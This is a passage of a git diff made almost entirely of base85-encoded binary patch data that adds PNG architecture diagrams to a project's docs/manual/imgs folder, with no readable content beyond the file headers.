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 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/architecture-1.png b/docs/manual/imgs/architecture-1.png new file mode 100644 index 0000000000000000000000000000000000000000..bd5255e2c69757a6b8e45ad90a4f36f105dfc9de GIT binary patch literal 16699 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 literal 0 HcmV?d00001 diff --git a/docs/manual/imgs/architecture-2-bis.png b/docs/manual/imgs/architecture-2-bis.png new file mode 100644 index 0000000000000000000000000000000000000000..9ac612954c6f57917c005bec8d4ab692bd87d605 GIT binary patch literal 39589 zcmeFZbySsI*EhONKon2}q`ON{L|RIuMPkz!lz@PAZjkOSNeO8-NC=x$kd{(9rMot< zY0lcHcf3!W_l)y? z9uUa+YRvQCFJnX6WDtluL|Q^r#X)yv3@eVH@9oCs_i~hZym<1N96!qDU2M?IU&wjYOKlVBM0XdiYpMlVt z`2V_&IF|?@#=X9O(6Hh z?)Oz|m3bdO?pAMgYE{{-E-&CXHqAKZ<>hJBIF%iil6W2&c7z>8h_bi928km?ArGRI zd?4J1KRj`#HuqkYkIk)p{>(sR_N(5bld%8n(7Oa~%m|HTP`32XfY`D=SZ*iR+lkRj2=0pqSE* z^TF6$$!U!wQUYwoqO z@M0U<l!l^r zzIhs>B_GfA^N*@HhTA0xrt&nUdMcI3Jd|?QRtn~+Y&>W25a;6?*rgh{mE35Pq7Zpt z=)HiQ%P|)X)kU11975I9a3};FK6_k(BeXu6@$K{~JEPXf0~>p{wagI)U*ou}_5%U} zdeWuZdwN-Rc6O|yF(@1!1XH+deD)=?@*_EEpgf^6YSqc^VN7wcS{p?iAMCKQvPPPc zJFk4OA9u`(r)Srzb*cBl>g($ha@xMdW6~?nI~En+*Qc~^WXM~Nx4*Og8G|yB&)N_i 